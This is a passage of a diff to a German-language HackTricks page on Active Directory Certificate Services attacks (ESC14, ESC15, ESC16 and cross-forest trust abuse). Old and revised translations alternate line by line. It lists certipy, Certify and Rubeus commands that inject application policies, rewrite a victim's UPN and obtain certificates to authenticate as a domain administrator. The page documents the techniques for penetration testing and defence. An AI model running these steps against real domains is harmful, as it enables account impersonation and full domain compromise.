auf Active Directory-Benutzer- oder Computer-Konten. Dieses mehrwertige Attribut ermöglicht es Administratoren, X.509-Zertifikate manuell mit einem AD-Konto für Authentifizierungszwecke zu verknüpfen. Wenn es befüllt ist, können diese expliziten Zuordnungen die Standard-Zertifikatmapping-Logik überschreiben, die typischerweise auf UPNs oder DNS-Namen im SAN des Zertifikats oder der im `szOID_NTDS_CA_SECURITY_EXT`-Sicherheits-erweiterung eingebetteten SID basiert. +ESC14 behandelt Schwachstellen, die aus "weak explicit certificate mapping" entstehen, hauptsächlich durch den Missbrauch oder unsichere Konfiguration des Attributes `altSecurityIdentities` an Active Directory-Benutzer- oder Computerobjekten. Dieses multiwertige Attribut erlaubt es Administratoren, X.509-Zertifikate manuell einem AD-Konto für Authentifizierungszwecke zuzuordnen. Wenn es befüllt ist, können diese expliziten Zuordnungen die standardmäßige Zertifikatszuordnungslogik überschreiben, die typischerweise auf UPNs oder DNS-Namen im SAN des Zertifikats oder auf der in der `szOID_NTDS_CA_SECURITY_EXT` Security-Extension eingebetteten SID beruht. -Eine "schwache" Zuordnung tritt auf, wenn der Zeichenfolgenwert, der im `altSecurityIdentities`-Attribut verwendet wird, um ein Zertifikat zu identifizieren, zu allgemein, leicht erratbar, auf nicht eindeutigen Zertifikatfeldern basiert oder leicht fälschbare Zertifikatkomponenten verwendet. Wenn ein Angreifer ein Zertifikat erlangen oder erstellen kann, dessen Attribute mit einer solchen schwach definierten expliziten Zuordnung für ein privilegiertes Konto übereinstimmen, kann er dieses Zertifikat verwenden, um sich als dieses Konto zu authentifizieren und es zu impersonieren. +Eine "schwache" Zuordnung tritt auf, wenn der Stringwert, der innerhalb des Attributes `altSecurityIdentities` zur Identifikation eines Zertifikats verwendet wird, zu allgemein, leicht zu erraten, abhängig von nicht-eindeutigen Zertifikatsfeldern oder aus leicht zu fälschenden Zertifikatkomponenten zusammengesetzt ist. Wenn ein Angreifer ein Zertifikat beschaffen oder erstellen kann, dessen Attribute mit einer derart schwach definierten expliziten Zuordnung für ein privilegiertes Konto übereinstimmen, kann er dieses Zertifikat verwenden, um sich als dieses Konto zu authentifizieren und es zu impersonifizieren. -Beispiele für potenziell schwache `altSecurityIdentities`-Mapping-Zeichenfolgen sind: +Beispiele für potenziell schwache `altSecurityIdentities`-Mapping-Strings sind: -- Zuordnung ausschließlich nach einem gemeinsamen Subject Common Name (CN): z.B. `X509:CN=SomeUser`. Ein Angreifer könnte in der Lage sein, ein Zertifikat mit diesem CN aus einer weniger sicheren Quelle zu erhalten. -- Verwendung von zu allgemeinen Aussteller-Distinguished Names (DNs) oder Subject DNs ohne weitere Qualifikation wie eine spezifische Seriennummer oder einen Subject Key Identifier: z.B. `X509:CN=SomeInternalCACN=GenericUser`. -- Verwendung anderer vorhersehbarer Muster oder nicht-kryptografischer Identifikatoren, die ein Angreifer möglicherweise in einem Zertifikat erfüllen kann, das er legitim erhalten oder fälschen kann (wenn er eine CA kompromittiert hat oder eine verwundbare Vorlage wie in ESC1 gefunden hat). +- Mapping ausschließlich über einen allgemeinen Subject Common Name (CN): z. B. `X509:CN=SomeUser`. Ein Angreifer könnte in der Lage sein, ein Zertifikat mit diesem CN aus einer weniger sicheren Quelle zu erhalten. +- Verwendung übermäßig generischer Issuer Distinguished Names (DNs) oder Subject DNs ohne weitere Qualifikationen wie eine spezifische Seriennummer oder subject key identifier: z. B. `X509:CN=SomeInternalCACN=GenericUser`. +- Einsatz anderer vorhersehbarer Muster oder nicht-kriptografischer Identifikatoren, die ein Angreifer in einem Zertifikat, das er legal erhalten oder (bei Kompromittierung einer CA oder einer verwundbaren Vorlage wie in ESC1) fälschen kann, erfüllen könnte. -Das `altSecurityIdentities`-Attribut unterstützt verschiedene Formate für die Zuordnung, wie: +Das Attribut `altSecurityIdentities` unterstützt verschiedene Formate für die Zuordnung, wie zum Beispiel: -- `X509:IssuerDNSubjectDN` (zuordnet nach vollständigem Aussteller- und Subject-DN) -- `X509:SubjectKeyIdentifier` (zuordnet nach dem Wert der Subject Key Identifier-Erweiterung des Zertifikats) -- `X509:SerialNumberBackedByIssuerDN` (zuordnet nach Seriennummer, implizit qualifiziert durch den Aussteller-DN) - dies ist kein Standardformat, normalerweise ist es `IssuerDNSerialNumber`. -- `X509:EmailAddress` (zuordnet nach einem RFC822-Namen, typischerweise einer E-Mail-Adresse, aus dem SAN) -- `X509:Thumbprint-of-Raw-PublicKey` (zuordnet nach einem SHA1-Hash des rohen öffentlichen Schlüssels des Zertifikats - allgemein stark) +- `X509:IssuerDNSubjectDN` (Zuordnung nach vollständigem Issuer- und Subject-DN) +- `X509:SubjectKeyIdentifier` (Zuordnung nach dem Subject Key Identifier des Zertifikats) +- `X509:SerialNumberBackedByIssuerDN` (Zuordnung nach Seriennummer, implizit qualifiziert durch den Issuer DN) - dies ist kein Standardformat, normalerweise ist es `IssuerDNSerialNumber`. +- `X509:EmailAddress` (Zuordnung nach einem RFC822-Namen, typischerweise einer E-Mail-Adresse, aus dem SAN) +- `X509:Thumbprint-of-Raw-PublicKey` (Zuordnung nach einem SHA1-Hash des rohen Public Keys des Zertifikats - generell stark) -Die Sicherheit dieser Zuordnungen hängt stark von der Spezifität, Einzigartigkeit und kryptografischen Stärke der gewählten Zertifikat-Identifikatoren ab, die im Zuordnungsstring verwendet werden. Selbst bei aktivierten starken Zertifikatbindungsmodi auf Domänencontrollern (die hauptsächlich implizite Zuordnungen basierend auf SAN-UPNs/DNS und der SID-Erweiterung betreffen) kann ein schlecht konfiguriertes `altSecurityIdentities`-Eintrag immer noch einen direkten Weg zur Impersonation darstellen, wenn die Zuordnungslogik selbst fehlerhaft oder zu nachsichtig ist. +Die Sicherheit dieser Zuordnungen hängt stark von der Spezifität, Einzigartigkeit und kryptografischen Stärke der in der Mapping-String gewählten Zertifikatsidentifier ab. Selbst mit aktivierten starken certificate binding modes auf Domänencontrollern (die hauptsächlich implizite Zuordnungen basierend auf SAN-UPNs/DNS und der SID-Extension beeinflussen) kann ein schlecht konfigurierter `altSecurityIdentities`-Eintrag trotzdem einen direkten Weg zur Impersonation bieten, wenn die Mapping-Logik selbst fehlerhaft oder zu permissiv ist. ### Missbrauchsszenario -ESC14 zielt auf **explizite Zertifikatzuordnungen** in Active Directory (AD) ab, insbesondere auf das `altSecurityIdentities`-Attribut. Wenn dieses Attribut gesetzt ist (absichtlich oder durch Fehlkonfiguration), können Angreifer Konten impersonieren, indem sie Zertifikate präsentieren, die mit der Zuordnung übereinstimmen. +ESC14 richtet sich gegen **explicit certificate mappings** in Active Directory (AD), speziell gegen das Attribut `altSecurityIdentities`. Wenn dieses Attribut gesetzt ist (durch Design oder Fehlkonfiguration), können Angreifer Konten impersonifizieren, indem sie Zertifikate präsentieren, die der Zuordnung entsprechen. -#### Szenario A: Angreifer kann in `altSecurityIdentities` schreiben +#### Szenario A: Angreifer kann auf `altSecurityIdentities` schreiben -**Vorbedingung**: Der Angreifer hat Schreibberechtigungen für das `altSecurityIdentities`-Attribut des Zielkontos oder die Berechtigung, es in Form einer der folgenden Berechtigungen auf dem Ziel-AD-Objekt zu gewähren: -- Schreibeigenschaft `altSecurityIdentities` -- Schreibeigenschaft `Public-Information` -- Schreibeigenschaft (alle) +**Voraussetzung**: Der Angreifer hat Schreibrechte auf das `altSecurityIdentities`-Attribut des Zielkontos oder die Berechtigung, es zu vergeben in Form einer der folgenden Berechtigungen am Ziel-AD-Objekt: +- Write property `altSecurityIdentities` +- Write property `Public-Information` +- Write property (all) - `WriteDACL` - `WriteOwner`* - `GenericWrite` - `GenericAll` -- Eigentümer*. +- Owner*. -#### Szenario B: Ziel hat schwache Zuordnung über X509RFC822 (E-Mail) +#### Szenario B: Ziel hat schwache Zuordnung via X509RFC822 (E-Mail) -- **Vorbedingung**: Das Ziel hat eine schwache X509RFC822-Zuordnung in `altSecurityIdentities`. Ein Angreifer kann das E-Mail-Attribut des Opfers so setzen, dass es mit dem X509RFC822-Namen des Ziels übereinstimmt, ein Zertifikat als das Opfer beantragen und es verwenden, um sich als das Ziel zu authentifizieren. +- **Voraussetzung**: Das Ziel hat eine schwache X509RFC822-Zuordnung in altSecurityIdentities. Ein Angreifer kann das mail-Attribut des Opfers so setzen, dass es dem X509RFC822-Namen des Ziels entspricht, ein Zertifikat als das Opfer enrollen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren. #### Szenario C: Ziel hat X509IssuerSubject-Zuordnung -- **Vorbedingung**: Das Ziel hat eine schwache X509IssuerSubject-explizite Zuordnung in `altSecurityIdentities`. Der Angreifer kann das `cn`- oder `dNSHostName`-Attribut eines Opferprinzips so setzen, dass es mit dem Subject der X509IssuerSubject-Zuordnung des Ziels übereinstimmt. Dann kann der Angreifer ein Zertifikat als das Opfer beantragen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren. +- **Voraussetzung**: Das Ziel hat eine schwache X509IssuerSubject-explizite Zuordnung in `altSecurityIdentities`. Der Angreifer kann das `cn`- oder `dNSHostName`-Attribut eines Opferprinzipals so setzen, dass es dem Subject der X509IssuerSubject-Zuordnung des Ziels entspricht. Anschließend kann der Angreifer ein Zertifikat als das Opfer enrollen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren. #### Szenario D: Ziel hat X509SubjectOnly-Zuordnung -- **Vorbedingung**: Das Ziel hat eine schwache X509SubjectOnly-explizite Zuordnung in `altSecurityIdentities`. Der Angreifer kann das `cn`- oder `dNSHostName`-Attribut eines Opferprinzips so setzen, dass es mit dem Subject der X509SubjectOnly-Zuordnung des Ziels übereinstimmt. Dann kann der Angreifer ein Zertifikat als das Opfer beantragen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren. +- **Voraussetzung**: Das Ziel hat eine schwache X509SubjectOnly-explizite Zuordnung in `altSecurityIdentities`. Der Angreifer kann das `cn`- oder `dNSHostName`-Attribut eines Opferprinzipals so setzen, dass es dem Subject der X509SubjectOnly-Zuordnung des Ziels entspricht. Anschließend kann der Angreifer ein Zertifikat als das Opfer enrollen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren. -### Konkrete Operationen +### konkrete Operationen #### Szenario A -Fordern Sie ein Zertifikat der Zertifikatvorlage `Machine` an. +Request a certificate of the certificate template `Machine` ```bash .\Certify.exe request /ca: /template:Machine /machine ``` -Speichern und konvertieren Sie das Zertifikat +Zertifikat speichern und konvertieren ```bash certutil -MergePFX .\esc13.pem .\esc13.pfx ``` -Authentifizieren (unter Verwendung des Zertifikats) +Authentifizieren (mit dem Zertifikat) ```bash .\Rubeus.exe asktgt /user: /certificate:C:\esc13.pfx /nowrap ``` @@ -740,27 +755,27 @@ Bereinigung (optional) ```bash Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" ``` -Für spezifischere Angriffsmethoden in verschiedenen Angriffsszenarien verweisen Sie bitte auf Folgendes: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). +Für spezifischere Angriffsverfahren in verschiedenen Angriffsszenarien siehe: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). -## EKUwu-Anwendungspolitiken (CVE-2024-49019) - ESC15 +## EKUwu Anwendungsrichtlinien(CVE-2024-49019) - ESC15 ### Erklärung -Die Beschreibung unter https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc ist bemerkenswert gründlich. Nachfolgend ein Zitat des Originaltextes. +Die Beschreibung auf https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc ist bemerkenswert ausführlich. Im Folgenden ein Zitat des Originaltextes. -Durch die Verwendung von integrierten Standard-Zertifikatvorlagen der Version 1 kann ein Angreifer eine CSR erstellen, die Anwendungspolitiken enthält, die den konfigurierten Extended Key Usage-Attributen, die in der Vorlage angegeben sind, vorgezogen werden. Die einzige Voraussetzung sind Anmelderechte, und es kann verwendet werden, um Client-Authentifizierung, Zertifikatsanforderungsagenten und Codesigning-Zertifikate mit der **_WebServer_**-Vorlage zu generieren. +Mit den eingebauten Standard-Zertifikatvorlagen der Version 1 kann ein Angreifer ein CSR erstellen, das Anwendungsrichtlinien enthält, die gegenüber den in der Vorlage konfigurierten Extended Key Usage-Attributen bevorzugt werden. Die einzige Voraussetzung sind Enrollment-Rechte, und damit lassen sich mit der **_WebServer_** Vorlage client authentication-, certificate request agent- und codesigning-Zertifikate erzeugen. -### Missbrauch +### Ausnutzung -Das Folgende bezieht sich auf [diesen Link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), klicken Sie hier, um detailliertere Nutzungsmethoden zu sehen. +Das Folgende bezieht sich auf [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Klicken Sie, um detailliertere Nutzungsmethoden zu sehen. -Der `find`-Befehl von Certipy kann helfen, V1-Vorlagen zu identifizieren, die potenziell anfällig für ESC15 sind, wenn die CA nicht gepatcht ist. +Der `find`-Befehl von Certipy kann dabei helfen, V1-Vorlagen zu identifizieren, die potenziell für ESC15 anfällig sind, falls die CA nicht gepatcht ist. ```bash certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` -#### Szenario A: Direkte Identitätsübernahme über Schannel +#### Szenario A: Direct Impersonation via Schannel -**Schritt 1: Fordern Sie ein Zertifikat an, indem Sie die "Client-Authentifizierung" Anwendungsrichtlinie und die Ziel-UPN injizieren.** Angreifer `attacker@corp.local` zielt auf `administrator@corp.local` unter Verwendung der "WebServer" V1-Vorlage (die die Bereitstellung des Subjekts durch den Anmelder erlaubt). +**Schritt 1: Fordere ein Zertifikat an und injiziere die Application Policy "Client Authentication" sowie die Ziel-UPN.** Angreifer `attacker@corp.local` zielt auf `administrator@corp.local` unter Verwendung der V1-Vorlage "WebServer" (die ein vom Enrollee bereitgestelltes Subject erlaubt). ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -769,17 +784,17 @@ certipy req \ -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \ -application-policies 'Client Authentication' ``` -- `-template 'WebServer'`: Die anfällige V1-Vorlage mit "Enrollee supplies subject". -- `-application-policies 'Client Authentication'`: Injektiert die OID `1.3.6.1.5.5.7.3.2` in die Application Policies-Erweiterung des CSR. -- `-upn 'administrator@corp.local'`: Setzt den UPN im SAN für die Identitätsübernahme. +- `-template 'WebServer'`: Das verwundbare V1-Template mit "Enrollee supplies subject". +- `-application-policies 'Client Authentication'`: Fügt die OID `1.3.6.1.5.5.7.3.2` in die Application Policies-Erweiterung des CSR ein. +- `-upn 'administrator@corp.local'`: Setzt den UPN im SAN zur Identitätsübernahme. -**Schritt 2: Authentifizieren Sie sich über Schannel (LDAPS) mit dem erhaltenen Zertifikat.** +**Schritt 2: Authentifiziere über Schannel (LDAPS) mit dem erhaltenen Zertifikat.** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell ``` -#### Szenario B: PKINIT/Kerberos-Imitation durch Missbrauch des Enrollment Agents +#### Szenario B: PKINIT/Kerberos-Identitätsübernahme durch Missbrauch eines Enrollment Agents -**Schritt 1: Fordern Sie ein Zertifikat von einer V1-Vorlage an (mit "Enrollee supplies subject"), indem Sie die "Certificate Request Agent" Anwendungsrichtlinie injizieren.** Dieses Zertifikat ist für den Angreifer (`attacker@corp.local`), um ein Enrollment Agent zu werden. Es wird kein UPN für die Identität des Angreifers angegeben, da das Ziel die Agentenfähigkeit ist. +**Schritt 1: Fordere ein Zertifikat von einer V1-Vorlage an (mit "Enrollee supplies subject"), und injiziere die Application Policy "Certificate Request Agent".** Dieses Zertifikat dient dazu, dass der Angreifer (`attacker@corp.local`) Enrollment Agent wird. Es wird hier kein UPN für die Identität des Angreifers angegeben, da das Ziel die Agentenberechtigung ist. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -787,9 +802,9 @@ certipy req \ -ca 'CORP-CA' -template 'WebServer' \ -application-policies 'Certificate Request Agent' ``` -- `-application-policies 'Certificate Request Agent'`: Injektiert OID `1.3.6.1.4.1.311.20.2.1`. +- `-application-policies 'Certificate Request Agent'`: Injiziert OID `1.3.6.1.4.1.311.20.2.1`. -**Schritt 2: Verwenden Sie das "Agent"-Zertifikat, um ein Zertifikat im Namen eines privilegierten Zielbenutzers anzufordern.** Dies ist ein ESC3-ähnlicher Schritt, bei dem das Zertifikat aus Schritt 1 als Agentenzertifikat verwendet wird. +**Schritt 2: Verwende das "agent" Zertifikat, um im Namen eines privilegierten Zielbenutzers ein Zertifikat anzufordern.** Dies ist ein ESC3-like-Schritt, bei dem das Zertifikat aus Schritt 1 als "agent" Zertifikat verwendet wird. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -797,91 +812,93 @@ certipy req \ -ca 'CORP-CA' -template 'User' \ -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator' ``` -**Schritt 3: Authentifizieren Sie sich als privilegierter Benutzer mit dem "on-behalf-of" Zertifikat.** +**Schritt 3: Authentifiziere dich als privilegierter Benutzer mithilfe des "on-behalf-of"-Zertifikats.** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ``` -## Sicherheits­erweiterung auf CA (Global) deaktiviert - ESC16 +## Security Extension Disabled on CA (Globally)-ESC16 ### Erklärung -**ESC16 (Erhöhung der Berechtigungen durch fehlende szOID_NTDS_CA_SECURITY_EXT-Erweiterung)** bezieht sich auf das Szenario, in dem die Konfiguration von AD CS die Einbeziehung der **szOID_NTDS_CA_SECURITY_EXT**-Erweiterung in allen Zertifikaten nicht durchsetzt, wodurch ein Angreifer dies ausnutzen kann, indem er: +**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** bezieht sich auf das Szenario, in dem, wenn die Konfiguration von AD CS nicht erzwingt, dass die **szOID_NTDS_CA_SECURITY_EXT**-Erweiterung in allen Zertifikaten enthalten ist, ein Angreifer dies ausnutzen kann, indem er: -1. Ein Zertifikat **ohne SID-Bindung** anfordert. +1. Ein Zertifikat **without SID binding** anfordert. -2. Dieses Zertifikat **zur Authentifizierung als beliebiges Konto** verwendet, z. B. um ein Konto mit hohen Berechtigungen (z. B. einen Domänenadministrator) zu impersonieren. +2. Dieses Zertifikat **for authentication as any account** verwendet, z. B. um sich als ein hoch privilegiertes Konto auszugeben (z. B. ein Domain Administrator). -Sie können auch auf diesen Artikel verweisen, um mehr über das detaillierte Prinzip zu erfahren: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 +Sie können auch diesen Artikel lesen, um mehr über das detaillierte Prinzip zu erfahren: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 ### Missbrauch -Das Folgende bezieht sich auf [diesen Link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally). Klicken Sie, um detailliertere Nutzungsmethoden zu sehen. +Das Folgende bezieht sich auf [diesen Link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), klicken Sie, um detailliertere Anwendungsanleitungen zu sehen. -Um zu identifizieren, ob die Active Directory-Zertifikatdienste (AD CS)-Umgebung anfällig für **ESC16** ist. +Um festzustellen, ob die Active Directory Certificate Services (AD CS) Umgebung für **ESC16** verwundbar ist ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` -**Schritt 1: Lesen Sie den initialen UPN des Opferkontos (Optional - zur Wiederherstellung).** +**Schritt 1: Initiale UPN des Zielkontos lesen (optional - zur Wiederherstellung).** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -user 'victim' \ read ``` -**Schritt 2: Aktualisieren Sie den UPN des Opferkontos auf den `sAMAccountName` des Zieladministrators.** +**Schritt 2: Aktualisiere die UPN des Opferkontos auf den `sAMAccountName` des Zieladministrators.** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'administrator' \ -user 'victim' update ``` -**Schritt 3: (Falls erforderlich) Erhalten Sie Anmeldeinformationen für das "Opfer"-Konto (z. B. über Shadow Credentials).** +**Schritt 3: (falls erforderlich) credentials für das "victim"-Konto erhalten (z. B. via Shadow Credentials).** ```shell certipy shadow \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -account 'victim' \ auto ``` -**Schritt 4: Fordern Sie ein Zertifikat als der "Opfer"-Benutzer von _irgendeiner geeigneten Client-Authentifizierungsvorlage_ (z.B. "Benutzer") auf der ESC16-anfälligen CA an.** Da die CA anfällig für ESC16 ist, wird sie automatisch die SID-Sicherheitserweiterung aus dem ausgestellten Zertifikat weglassen, unabhängig von den spezifischen Einstellungen der Vorlage für diese Erweiterung. Setzen Sie die Umgebungsvariable für den Kerberos-Anmeldeinformationscache (Shell-Befehl): +**Schritt 4: Fordere ein Zertifikat als "victim"-Benutzer von _einer beliebigen geeigneten Client-Authentifizierungs-Vorlage_ (z. B. "User") auf der ESC16-verwundbaren CA an.** Da die CA für ESC16 verwundbar ist, wird sie die SID-Sicherheits-Erweiterung im ausgestellten Zertifikat automatisch weglassen, unabhängig von den spezifischen Einstellungen der Vorlage für diese Erweiterung. Setze die Kerberos-Credential-Cache-Umgebungsvariable (Shell-Befehl): ```bash export KRB5CCNAME=victim.ccache ``` -Dann fordere das Zertifikat an: +Fordere dann das Zertifikat an: ```bash certipy req \ -k -dc-ip '10.0.0.100' \ -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \ -template 'User' ``` -**Schritt 5: Den UPN des "Opfer"-Kontos zurücksetzen.** +**Schritt 5: Setze die UPN des "Opfer"-Kontos zurück.** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'victim@corp.local' \ -user 'victim' update ``` -**Schritt 6: Authentifizieren Sie sich als der Zieladministrator.** +**Schritt 6: Authentifiziere dich als Zieladministrator.** ```bash certipy auth \ -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \ -username 'administrator' -domain 'corp.local' ``` -## Kompromittierung von Wäldern mit Zertifikaten im Passiv erklärt +## Kompromittierung von Forests durch Zertifikate in Passivform erklärt -### Brechen von Waldvertrauen durch kompromittierte CAs +### Bruch von Forest-Trusts durch kompromittierte CAs -Die Konfiguration für **Cross-Forest-Enrollment** ist relativ unkompliziert. Das **Root-CA-Zertifikat** aus dem Ressourcenwald wird von Administratoren **in die Konto-Wälder veröffentlicht**, und die **Enterprise-CA**-Zertifikate aus dem Ressourcenwald werden **zu den `NTAuthCertificates` und AIA-Containern in jedem Konto-Wald hinzugefügt**. Um das zu verdeutlichen, gewährt diese Anordnung der **CA im Ressourcenwald die vollständige Kontrolle** über alle anderen Wälder, für die sie PKI verwaltet. Sollte diese CA von **Angreifern kompromittiert werden**, könnten Zertifikate für alle Benutzer in sowohl dem Ressourcen- als auch dem Konto-Wald von ihnen **gefälscht werden**, wodurch die Sicherheitsgrenze des Waldes durchbrochen wird. +Die Konfiguration für **cross-forest enrollment** wird relativ einfach gestaltet. Das **root CA certificate** aus dem resource forest wird von Administratoren in die **account forests publiziert**, und die **enterprise CA**-Zertifikate aus dem resource forest werden in die **`NTAuthCertificates` und AIA Container in jedem account forest hinzugefügt**. Zur Verdeutlichung: Diese Anordnung gewährt der **CA im resource forest vollständige Kontrolle** über alle anderen Forests, für die sie PKI verwaltet. Sollte diese CA von Angreifern **kompromittiert werden**, könnten Zertifikate für alle Benutzer sowohl im resource- als auch im account-forest von diesen **gefälscht werden**, wodurch die Sicherheitsgrenze des Forests gebrochen würde. -### Einschreiberechte, die ausländischen Prinzipalen gewährt werden +### Anmeldeberechtigungen, die fremden Principals gewährt werden -In Multi-Wald-Umgebungen ist Vorsicht geboten hinsichtlich Enterprise CAs, die **Zertifikatvorlagen veröffentlichen**, die **authentifizierten Benutzern oder ausländischen Prinzipalen** (Benutzern/Gruppen, die extern zum Wald sind, zu dem die Enterprise CA gehört) **Einschreibungs- und Bearbeitungsrechte** gewähren.\ -Nach der Authentifizierung über ein Vertrauen wird die **SID der authentifizierten Benutzer** vom AD zum Token des Benutzers hinzugefügt. Wenn also eine Domäne eine Enterprise CA mit einer Vorlage besitzt, die **authentifizierten Benutzern Einschreiberechte gewährt**, könnte eine Vorlage potenziell von einem Benutzer aus einem anderen Wald **eingeschrieben werden**. Ebenso, wenn **Einschreiberechte explizit durch eine Vorlage an einen ausländischen Prinzipal gewährt werden**, wird eine **Cross-Forest-Zugriffssteuerungsbeziehung geschaffen**, die es einem Prinzipal aus einem Wald ermöglicht, **sich in eine Vorlage aus einem anderen Wald einzuschreiben**. +In Multi-Forest-Umgebungen ist Vorsicht geboten gegenüber Enterprise CAs, die **certificate templates veröffentlichen**, welche **Authenticated Users oder foreign principals** (Benutzer/Gruppen außerhalb des Forests, zu dem die Enterprise CA gehört) **Anmelde- und Bearbeitungsrechte** erlauben.\ +Beim Authentifizieren über einen Trust wird die **Authenticated Users SID** vom AD dem Token des Benutzers hinzugefügt. Daher könnte, wenn eine Domain eine Enterprise CA mit einem Template besitzt, das **Authenticated Users Anmeldeberechtigungen erlaubt**, ein Template potenziell von einem Benutzer aus einem anderen Forest **angemeldet werden**. Ebenso wird, wenn **Anmeldeberechtigungen einem foreign principal explizit durch ein Template gewährt werden**, dadurch eine **cross-forest access-control-Beziehung geschaffen**, die es einem Principal aus einem Forest ermöglicht, **ein Template aus einem anderen Forest zu enrollen**. -Beide Szenarien führen zu einer **Erhöhung der Angriffsfläche** von einem Wald zum anderen. Die Einstellungen der Zertifikatvorlage könnten von einem Angreifer ausgenutzt werden, um zusätzliche Privilegien in einer ausländischen Domäne zu erlangen. +Beide Szenarien führen zu einer **Erweiterung der Angriffsfläche** von einem Forest zu einem anderen. Die Einstellungen des certificate templates könnten von einem Angreifer ausgenutzt werden, um zusätzliche Privilegien in einer fremden Domain zu erlangen. -## Referenzen +## References - [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}}